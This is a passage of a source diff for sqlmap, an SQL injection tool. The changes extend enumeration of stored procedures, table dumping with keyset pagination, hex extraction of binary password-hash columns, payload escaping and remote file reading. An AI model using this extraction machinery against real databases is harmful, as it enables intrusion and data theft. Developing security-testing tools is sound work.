queries[Backend.getIdentifiedDbms()].procedures + + # Generic-first by design: a DBMS is supported iff it declares a <procedures> query block in + # queries.xml (INFORMATION_SCHEMA.ROUTINES / pg_proc / sys.sql_modules / ALL_SOURCE / RDB$PROCEDURES). + # Engines without stored procedures (or without a declared block) fall through with a clean + # warning - same model as getStatements() (uneven coverage is the established convention). + if "inband" not in rootQuery and "blind" not in rootQuery: + warnMsg = "on %s it is not possible to enumerate the stored procedures" % Backend.getIdentifiedDbms() + logger.warning(warnMsg) + return kb.data.cachedProcedures + + if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: + query = rootQuery.inband.query + + values = inject.getValue(query, blind=False, time=False) + + if not isNoneValue(values): + kb.data.cachedProcedures = [] + for value in arrayizeValue(values): + value = (unArrayizeValue(value) or "").strip() + if not isNoneValue(value): + kb.data.cachedProcedures.append(value.strip()) + + if not kb.data.cachedProcedures and isInferenceAvailable() and not conf.direct: + infoMsg = "fetching number of stored procedures" + logger.info(infoMsg) + + count = inject.getValue(rootQuery.blind.count, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + if count == 0: + return kb.data.cachedProcedures + elif not isNumPosStrValue(count): + errMsg = "unable to retrieve the number of stored procedures" + raise SqlmapNoneDataException(errMsg) + + # every <procedures> blind query uses 0-based paging (MySQL "LIMIT %d,1", PostgreSQL/MSSQL/Oracle + # "OFFSET %d"), so the index range stays 0-based here regardless of PLUS_ONE_DBMSES (unlike + # getStatements(), whose MSSQL/Oracle idioms are 1-based) + indexRange = getLimitRange(count) + + for index in indexRange: + query = rootQuery.blind.query % index + value = unArrayizeValue(inject.getValue(query, union=False, error=False)) + + if not isNoneValue(value): + kb.data.cachedProcedures.append((value or "").strip()) + + if not kb.data.cachedProcedures: + errMsg = "unable to retrieve the stored procedures" + logger.error(errMsg) + else: + kb.data.cachedProcedures = [_.replace(REFLECTED_VALUE_MARKER, "<payload>") for _ in kb.data.cachedProcedures] + + return kb.data.cachedProcedures diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index a8e0bce7a16..ca4a3d54a19 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -40,14 +40,18 @@ from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUnsupportedFeatureException +from lib.core.settings import BINARY_FIELDS_TYPE_REGEX from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD from lib.core.settings import CURRENT_DB +from lib.core.settings import KEYSET_MIN_ROWS from lib.core.settings import METADB_SUFFIX from lib.core.settings import NULL from lib.core.settings import PLUS_ONE_DBMSES from lib.core.settings import UPPER_CASE_DBMSES from lib.request import inject from lib.utils.hash import attackDumpedTable +from lib.utils.keysetdump import keysetDumpTable +from lib.utils.keysetdump import resolveKeysetCursor from lib.utils.pivotdumptable import pivotDumpTable from thirdparty import six from thirdparty.six.moves import zip as _zip @@ -111,11 +115,13 @@ def dumpTable(self, foundData=None): for tbl in tblList: tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) + binaryFields = conf.binaryFields # user-provided '--binary-fields' (auto-detected ones are added per-table) + for tbl in tblList: if kb.dumpKeyboardInterrupt: break - if conf.exclude and re.search(conf.exclude, tbl, re.I) is not None: + if conf.exclude and re.search(conf.exclude, unsafeSQLIdentificatorNaming(tbl), re.I) is not None: infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl) singleTimeLogMessage(infoMsg) continue @@ -134,12 +140,14 @@ def dumpTable(self, foundData=None): kb.dumpTable = "%s:%s" % (conf.db, tbl) elif Backend.isDbms(DBMS.SQLITE): kb.dumpTable = tbl + elif METADB_SUFFIX.upper() in conf.db.upper(): + kb.dumpTable = tbl else: kb.dumpTable = "%s.%s" % (conf.db, tbl) if safeSQLIdentificatorNaming(conf.db) not in kb.data.cachedColumns or safeSQLIdentificatorNaming(tbl, True) not in kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]: warnMsg = "unable to enumerate the columns for table '%s'" % unsafeSQLIdentificatorNaming(tbl) - if METADB_SUFFIX not in conf.db: + if METADB_SUFFIX.upper() not in conf.db.upper(): warnMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) warnMsg += ", skipping" if len(tblList) > 1 else "" logger.warning(warnMsg) @@ -154,7 +162,7 @@ def dumpTable(self, foundData=None): if not colList: warnMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl) - if METADB_SUFFIX not in conf.db: + if METADB_SUFFIX.upper() not in conf.db.upper(): warnMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) warnMsg += " (no usable column names)" logger.warning(warnMsg) @@ -164,11 +172,23 @@ def dumpTable(self, foundData=None): colNames = colString = ','.join(column for column in colList) rootQuery = queries[Backend.getIdentifiedDbms()].dump_table + # Auto-treat binary-typed columns (blob/varbinary/bytea/image/raw) as '--binary-fields', so their + # raw bytes (e.g. password hashes stored in binary form) are hex-extracted instead of being + # silently truncated at a NUL / mangled by the text channel (issues #8, #582, #2827). The column + # type is already known from the enumeration above, so this costs no extra request. + # (PostgreSQL excluded: its bytea already renders as readable '\xHEX' through the default text + # cast, and its hex path needs text input, so auto-hexing would double-encode.) + autoBinary = [] if Backend.isDbms(DBMS.PGSQL) else [column for column in colList if columns.get(column) and re.search(BINARY_FIELDS_TYPE_REGEX, getUnicode(columns[column]))] + conf.binaryFields = (list(binaryFields) if binaryFields else []) + [_ for _ in autoBinary if not (binaryFields and _ in binaryFields)] + if autoBinary: + debugMsg = "auto-treating binary column(s) '%s' as binary fields" % ', '.join(unsafeSQLIdentificatorNaming(_) for _ in autoBinary) + logger.debug(debugMsg) + infoMsg = "fetching entries" if conf.col: infoMsg += " of column(s) '%s'" % colNames infoMsg += " for table '%s'" % unsafeSQLIdentificatorNaming(tbl) - if METADB_SUFFIX not in conf.db: + if METADB_SUFFIX.upper() not in conf.db.upper(): infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) @@ -179,13 +199,55 @@ def dumpTable(self, foundData=None): entriesCount = 0 - if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: + def _dumpCountQuery(): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.SNOWFLAKE): + _ = rootQuery.blind.count % (tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) + elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.MAXDB, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.RAIMA): + _ = rootQuery.blind.count % tbl + elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): + _ = rootQuery.blind.count % ("%s.%s" % (conf.db, tbl)) if conf.db else tbl + elif Backend.isDbms(DBMS.INFORMIX): + _ = rootQuery.blind.count % (conf.db, tbl) + else: + _ = rootQuery.blind.count % (conf.db, tbl) + return agent.whereQuery(_) + + # Keyset (seek) pagination for the error/query (inband) path too, not just the blind path below. + # It fetches every cell value-anchored (MAX(col) WHERE key=K_r on a unique integer key), so the + # per-cell retrievals of one row are pinned to the SAME physical row regardless of scan order, + # threads or MVCC - unlike ORDER BY ... LIMIT/OFFSET, which silently misaligns cells once a + # stable order is unavailable. UNION is intrinsically aligned (whole-row), so it is never preempted. + keysetDone = False + if not conf.direct and not conf.noKeyset and not isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) \ + and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)): + count = inject.getValue(_dumpCountQuery(), expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + if isNumPosStrValue(count) and (conf.keyset or int(count) >= KEYSET_MIN_ROWS): + keysetCursor = resolveKeysetCursor(tbl, colList) + if keysetCursor: + infoMsg = "using keyset (seek) pagination on column(s) '%s' " % ', '.join(keysetCursor) + infoMsg += "for table '%s'" % unsafeSQLIdentificatorNaming(tbl) + logger.info(infoMsg) + + try: + entries, lengths = keysetDumpTable(tbl, colList, int(count), keysetCursor) + for column, columnEntries in entries.items(): + length = max(lengths[column], getConsoleLength(column)) + kb.data.dumpedTable[column] = {"length": length, "values": columnEntries} + entriesCount = len(columnEntries) + keysetDone = bool(kb.data.dumpedTable) + except KeyboardInterrupt: + kb.dumpKeyboardInterrupt = True + clearConsoleLine() + warnMsg = "Ctrl+C detected in dumping phase" + logger.warning(warnMsg) + + if not keysetDone and (any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct): entries = [] query = None - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.SNOWFLAKE): query = rootQuery.inband.query % (colString, tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) - elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.RAIMA): + elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.RAIMA, DBMS.SNOWFLAKE): query = rootQuery.inband.query % (colString, tbl) elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): # Partial inband and error @@ -208,7 +270,7 @@ def dumpTable(self, foundData=None): for index in indexRange: row = [] for column in colList: - query = rootQuery.blind.query3 % (column, column, table, index) + query = rootQuery.blind.query3 % (column, column, prioritySortColumns(colList)[0], table, index) query = agent.whereQuery(query) value = inject.getValue(query, blind=False, time=False, dump=True) or "" row.append(value) @@ -239,7 +301,7 @@ def dumpTable(self, foundData=None): entries = BigArray(_zip(*[entries[colName] for colName in colList])) else: query = rootQuery.inband.query % (colString, conf.db, tbl) - elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.VIRTUOSO): + elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE, DBMS.SPANNER): query = rootQuery.inband.query % (colString, conf.db, tbl, prioritySortColumns(colList)[0]) else: query = rootQuery.inband.query % (colString, conf.db, tbl) @@ -292,7 +354,7 @@ def dumpTable(self, foundData=None): infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.SNOWFLAKE): query = rootQuery.blind.count % (tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.MAXDB, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.RAIMA): query = rootQuery.blind.count % tbl @@ -307,6 +369,9 @@ def dumpTable(self, foundData=None): count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + # keyset (seek) pagination: forced with --keyset, automatic for large tables, off with --no-keyset + keysetCursor = resolveKeysetCursor(tbl, colList) if (not conf.noKeyset and isNumPosStrValue(count) and (conf.keyset or int(count) >= KEYSET_MIN_ROWS)) else None + lengths = {} entries = {} @@ -317,7 +382,7 @@ def dumpTable(self, foundData=None): logger.warning(warnMsg) for column in colList: - lengths[column] = len(column) + lengths[column] = getConsoleLength(column) entries[column] = [] elif not isNumPosStrValue(count): @@ -330,6 +395,19 @@ def dumpTable(self, foundData=None): continue + elif keysetCursor: + infoMsg = "using keyset (seek) pagination on column(s) '%s' " % ', '.join(keysetCursor) + infoMsg += "for table '%s'" % unsafeSQLIdentificatorNaming(tbl) + logger.info(infoMsg) + + try: + entries, lengths = keysetDumpTable(tbl, colList, count, keysetCursor) + except KeyboardInterrupt: + kb.dumpKeyboardInterrupt = True + clearConsoleLine() + warnMsg = "Ctrl+C detected in dumping phase" + logger.warning(warnMsg) + elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL, DBMS.INFORMIX, DBMS.MCKOI, DBMS.RAIMA): if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.RAIMA): table = tbl @@ -348,7 +426,7 @@ def dumpTable(self, foundData=None): for index in indexRange: for column in colList: - query = rootQuery.blind.query3 % (column, column, table, index) + query = rootQuery.blind.query3 % (column, column, prioritySortColumns(colList)[0], table, index) query = agent.whereQuery(query) value = inject.getValue(query, union=False, error=False, dump=True) or "" @@ -359,7 +437,7 @@ def dumpTable(self, foundData=None): if column not in entries: entries[column] = BigArray() - lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)))) + lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)))) entries[column].append(value) except KeyboardInterrupt: @@ -397,41 +475,74 @@ def dumpTable(self, foundData=None): debugMsg += "dumped as it appears to be empty" logger.debug(debugMsg) + def cellQuery(column, index): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE, DBMS.SPANNER): + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, prioritySortColumns(colList)[0], index) + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE,): + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index) + elif Backend.getIdentifiedDbms() in (DBMS.MIMERSQL,): + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), prioritySortColumns(colList)[0], index) + elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.EXTREMEDB): + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index) + elif Backend.isDbms(DBMS.FIREBIRD): + query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl) + elif Backend.getIdentifiedDbms() in (DBMS.INFORMIX, DBMS.VIRTUOSO): + query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, prioritySortColumns(colList)[0]) + elif Backend.isDbms(DBMS.FRONTBASE): + query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl) + else: + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, tbl, index) + + return agent.whereQuery(query) + try: - for index in indexRange: + # Value-parallel dumping: one whole cell per worker, decoded sequentially, so there + # is NO per-cell LENGTH() probe (the position-parallel path needs one to split a + # value's characters across threads) and the per-column Huffman model + low-cardinality + # guessing engage under concurrency. Used for the boolean channel with '--threads', and + # for the HTTP/2 timeless oracle (its per-thread connections make concurrency safe and + # deterministic). Also used under '--eta' - including single-threaded time-based, the + # slowest channel - to drive one whole-job progress bar/ETA (how long the dump takes) + # instead of a per-cell counter. Eligibility (channel x threads/eta) is valueParallelEligible(); + # '--dns-domain' keeps the classic loop (its OOB fast path bypasses bisection). + if not conf.dnsDomain and inject.valueParallelEligible(): + # One value-parallel pass over every (non-empty) cell, so there is a single + # thread pool and values stream live as they complete - out of order, exactly + # like the error/union dumps - instead of a silent progress counter. + nonEmpty = [_ for _ in colList if _ not in emptyColumns] + tasks = [(column, index) for column in nonEmpty for index in indexRange] + retrieved = inject._threadedInferenceValues(lambda pair: cellQuery(pair[0], pair[1]), tasks, charsetType=None, dump=True) if tasks else [] + retrieved = retrieved if retrieved is not None else [None] * len(tasks) + + offset = 0 for column in colList: - value = "" - - if column not in lengths: - lengths[column] = 0 - - if column not in entries: - entries[column] = BigArray() - - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE): - query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE,): - query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index) - elif Backend.getIdentifiedDbms() in (DBMS.MIMERSQL,): - query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), sorted(colList, key=len)[0], index) - elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.EXTREMEDB): - query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index) - elif Backend.isDbms(DBMS.FIREBIRD): - query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl) - elif Backend.getIdentifiedDbms() in (DBMS.INFORMIX, DBMS.VIRTUOSO): - query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, sorted(colList, key=len)[0]) - elif Backend.isDbms(DBMS.FRONTBASE): - query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl) + entries[column] = BigArray() + lengths.setdefault(column, 0) + + if column in emptyColumns: + values = [NULL] * len(indexRange) else: - query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, tbl, index) + values = retrieved[offset:offset + len(indexRange)] + offset += len(indexRange) + + for value in values: + value = '' if value is None else value + lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)))) + entries[column].append(value) + else: + for index in indexRange: + for column in colList: + if column not in lengths: + lengths[column] = 0 - query = agent.whereQuery(query) + if column not in entries: + entries[column] = BigArray() - value = NULL if column in emptyColumns else inject.getValue(query, union=False, error=False, dump=True) - value = '' if value is None else value + value = NULL if column in emptyColumns else inject.getValue(cellQuery(column, index), union=False, error=False, dump=True) + value = '' if value is None else value - lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)))) - entries[column].append(value) + lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)))) + entries[column].append(value) except KeyboardInterrupt: kb.dumpKeyboardInterrupt = True @@ -440,7 +551,7 @@ def dumpTable(self, foundData=None): logger.warning(warnMsg) for column, columnEntries in entries.items(): - length = max(lengths[column], len(column)) + length = max(lengths[column], getConsoleLength(column)) kb.data.dumpedTable[column] = {"length": length, "values": columnEntries} @@ -457,12 +568,15 @@ def dumpTable(self, foundData=None): kb.data.dumpedTable["__infos__"] = {"count": entriesCount, "table": safeSQLIdentificatorNaming(tbl, True), "db": safeSQLIdentificatorNaming(conf.db)} - try: - attackDumpedTable() - except (IOError, OSError) as ex: - errMsg = "an error occurred while attacking " - errMsg += "table dump ('%s')" % getSafeExString(ex) - logger.critical(errMsg) + + if not conf.disableHashing: + try: + attackDumpedTable() + except (IOError, OSError) as ex: + errMsg = "an error occurred while attacking " + errMsg += "table dump ('%s')" % getSafeExString(ex) + logger.critical(errMsg) + conf.dumper.dbTableValues(kb.data.dumpedTable) except SqlmapConnectionException as ex: @@ -473,6 +587,7 @@ def dumpTable(self, foundData=None): finally: kb.dumpColumns = None kb.dumpTable = None + conf.binaryFields = binaryFields # restore user-provided value (drop this table's auto-detected ones) def dumpAll(self): if conf.db is not None and conf.tbl is None: diff --git a/plugins/generic/enumeration.py b/plugins/generic/enumeration.py index f09876f1eda..a410816f6e2 100644 --- a/plugins/generic/enumeration.py +++ b/plugins/generic/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index 4c046f645f5..3e3c5f4b625 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -16,6 +16,8 @@ from lib.core.common import decloakToTemp from lib.core.common import decodeDbmsHexValue from lib.core.common import isListLike +from lib.core.common import isNoneValue +from lib.core.common import isNullValue from lib.core.common import isNumPosStrValue from lib.core.common import isStackingAvailable from lib.core.common import isTechniqueAvailable @@ -222,13 +224,13 @@ def readFile(self, remoteFile): if conf.direct or isStackingAvailable(): if isStackingAvailable(): - debugMsg = "going to read the file with stacked query SQL " + debugMsg = "going to try to read the file with stacked query SQL " debugMsg += "injection technique" logger.debug(debugMsg) fileContent = self.stackedReadFile(remoteFile) - elif Backend.isDbms(DBMS.MYSQL): - debugMsg = "going to read the file with a non-stacked query " + elif Backend.isDbms(DBMS.MYSQL) or Backend.isDbms(DBMS.PGSQL): + debugMsg = "going to try to read the file with non-stacked query " debugMsg += "SQL injection technique" logger.debug(debugMsg) @@ -243,8 +245,9 @@ def readFile(self, remoteFile): kb.fileReadMode = False - if fileContent in (None, "") and not Backend.isDbms(DBMS.PGSQL): + if (isNoneValue(fileContent) or isNullValue(fileContent)) and not Backend.isDbms(DBMS.PGSQL): self.cleanup(onlyFileTbl=True) + fileContent = None elif isListLike(fileContent): newFileContent = "" diff --git a/plugins/generic/fingerprint.py b/plugins/generic/fingerprint.py index 0bdcb35c111..38f4775a1b9 100644 --- a/plugins/generic/fingerprint.py +++ b/plugins/generic/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/misc.py b/plugins/generic/misc.py index f061d585165..bbb7adc0935 100644 --- a/plugins/generic/misc.py +++ b/plugins/generic/misc.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/search.py b/plugins/generic/search.py index bb670b71843..5ec72f18ff2 100644 --- a/plugins/generic/search.py +++ b/plugins/generic/search.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/syntax.py b/plugins/generic/syntax.py index 146a713249b..1202771fdbc 100644 --- a/plugins/generic/syntax.py +++ b/plugins/generic/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -26,18 +26,21 @@ def _escape(expression, quote=True, escaper=None): retVal = expression if quote: - for item in re.findall(r"'[^']*'+", expression): - original = item[1:-1] - if original: + # Match a full SQL string literal, honouring the '' (doubled single quote) escape - e.g. + # 'a''b' is ONE literal whose value is a'b, not 'a'' followed by a dangling b'. The old + # r"'[^']*'+" split on the inner '' and left the tail bare, corrupting the encoded payload. + for item in re.findall(r"'(?:[^']|'')*'", expression): + value = item[1:-1].replace("''", "'") # inner content with '' collapsed to the real quote + if value: if Backend.isDbms(DBMS.SQLITE) and "X%s" % item in expression: continue - if re.search(r"\[(SLEEPTIME|RAND)", original) is None: # e.g. '[SLEEPTIME]' marker - replacement = escaper(original) if not conf.noEscape else original + if re.search(r"\[(SLEEPTIME|RAND)", value) is None: # e.g. '[SLEEPTIME]' marker + replacement = escaper(value) if not conf.noEscape else value - if replacement != original: + if replacement != value: retVal = retVal.replace(item, replacement) - elif len(original) != len(getBytes(original)) and "n'%s'" % original not in retVal and Backend.getDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.ORACLE, DBMS.MSSQL): - retVal = retVal.replace("'%s'" % original, "n'%s'" % original) + elif len(value) != len(getBytes(value)) and "n%s" % item not in retVal and Backend.getDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.ORACLE, DBMS.MSSQL): + retVal = retVal.replace(item, "n%s" % item) else: retVal = escaper(expression) diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py index 429653b0087..8bf7d185362 100644 --- a/plugins/generic/takeover.py +++ b/plugins/generic/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -153,7 +153,7 @@ def osPwn(self): if os.path.exists(filename): try: with openFile(filename, "wb") as f: - f.write("1") + f.write(b"1") except IOError as ex: errMsg = "there has been a file opening/writing error " errMsg += "for filename '%s' ('%s')" % (filename, getSafeExString(ex)) diff --git a/plugins/generic/users.py b/plugins/generic/users.py index ddef85a2a32..1f298ac8d28 100644 --- a/plugins/generic/users.py +++ b/plugins/generic/users.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -13,6 +13,7 @@ from lib.core.common import filterPairValues from lib.core.common import getLimitRange from lib.core.common import isAdminFromPrivileges +from lib.core.common import isDBMSVersionAtLeast from lib.core.common import isInferenceAvailable from lib.core.common import isNoneValue from lib.core.common import isNullValue @@ -104,6 +105,7 @@ def getUsers(self): condition = (Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008"))) condition |= (Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema) + condition |= (Backend.isDbms(DBMS.H2) and not isDBMSVersionAtLeast("2")) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): @@ -455,7 +457,7 @@ def getPrivileges(self, query2=False): # In MySQL >= 5.0 and Oracle we get the list # of privileges as string - elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.getIdentifiedDbms() in (DBMS.VERTICA, DBMS.MIMERSQL, DBMS.CUBRID): + elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.getIdentifiedDbms() in (DBMS.VERTICA, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.SNOWFLAKE, DBMS.CLICKHOUSE, DBMS.CRATEDB, DBMS.ALTIBASE): privileges.add(privilege) # In MySQL < 5.0 we get Y if the privilege is @@ -666,8 +668,8 @@ def getPrivileges(self, query2=False): return (kb.data.cachedUsersPrivileges, areAdmins) def getRoles(self, query2=False): - warnMsg = "on %s the concept of roles does not " % Backend.getIdentifiedDbms() - warnMsg += "exist. sqlmap will enumerate privileges instead" + warnMsg = "enumeration of roles is not supported on %s; " % Backend.getIdentifiedDbms() + warnMsg += "sqlmap will enumerate privileges instead" logger.warning(warnMsg) return self.getPrivileges(query2) diff --git a/sqlmap.conf b/sqlmap.conf index 895b601155f..e56184d06af 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -27,8 +27,8 @@ requestFile = # Rather than providing a target URL, let Google return target # hosts as result of your Google dork expression. For a list of Google -# dorks see Johnny Long Google Hacking Database at -# http://johnny.ihackstuff.com/ghdb.php. +# dorks see Google Hacking Database at +# https://www.exploit-db.com/google-hacking-database # Example: +ext:php +inurl:"&id=" +intext:"powered by " googleDork = @@ -61,6 